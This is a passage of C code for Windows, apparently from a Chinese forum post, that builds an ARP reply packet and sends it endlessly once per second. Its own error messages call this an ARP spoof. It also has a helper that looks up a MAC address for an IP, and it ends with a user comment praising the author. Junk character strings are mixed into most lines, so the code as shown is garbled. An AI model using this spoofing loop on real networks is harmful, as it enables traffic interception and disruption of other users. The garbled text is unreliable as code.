4 b" S3 h9 P" h$ B8 Z1 U  ArpPacket.arphdr.ProAddrLen = 4;
  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
  ArpPacket.arphdr.ProType = htons(EPT_IP);
  ArpPacket.arphdr.op = htons(2);//arp reply
/ ^6 u) w& P6 w! ~9 c. T' j: c
6 @3 J2 I9 b! p9 ^0 S5 C  lpArpPacket = PacketAllocatePacket();
  if(lpArpPacket == NULL)
  {
" {0 q1 f, M! f1 w8 E    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
3 f4 F! v/ ]5 s    return 0;
5 V( k# m$ Z+ Z7 m8 \/ W3 S1 {  }
  memset(szArpBuff, 0, sizeof(szArpBuff));
  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET));
" w" j6 H6 Z8 I# `! u2 ~  PacketInitPacket(lpArpPacket, szArpBuff, 60);
; J6 a; Q! f6 Q1 Q  //send arp packet
  while(1)
" d4 R) K0 y+ f$ l* `: ^0 M* p7 m' E  {
    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
    {
      printf("Error sending the arp spoof packets!\n");
! Z% p. T5 B* J      return 0;
8 P3 i/ G8 D/ K  Y    }
3 m! L6 l3 c4 K: Q; \) k1 x    Sleep(1000);
  }
# q* ~: s( C( O  return 0;
}
3 n: u$ C, h4 H8 H& G  o" W
" `! Q4 q' x! O0 U//
//功能：输入IP取得对应的MAC地址
" ]6 g4 J$ P' }8 C8 m7 B! g# s//
BOOL GetMACAddr(DWORD DestIP, char *pMAC)
9 P7 |5 P; a) T  a{
  Y' x/ G2 Q% U  DWORD  dwRet;
  ULONG  ulLen = 6, pulMac[2];
  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen);
( E/ X* i& X& X6 u  p, ~  if(dwRet == NO_ERROR)
! a! R1 Y) z6 a, j& ]* y- ^7 u& {  {
) K2 s# h! A2 s& `* v1 I9 Y+ W    memcpy(pMAC, pulMac, 6);
    return TRUE;
: q- V: C% i2 Q3 O  }
  else return FALSE;
  C# @8 r% w  I) Y( p}

wy617958197

大侠好厉害啊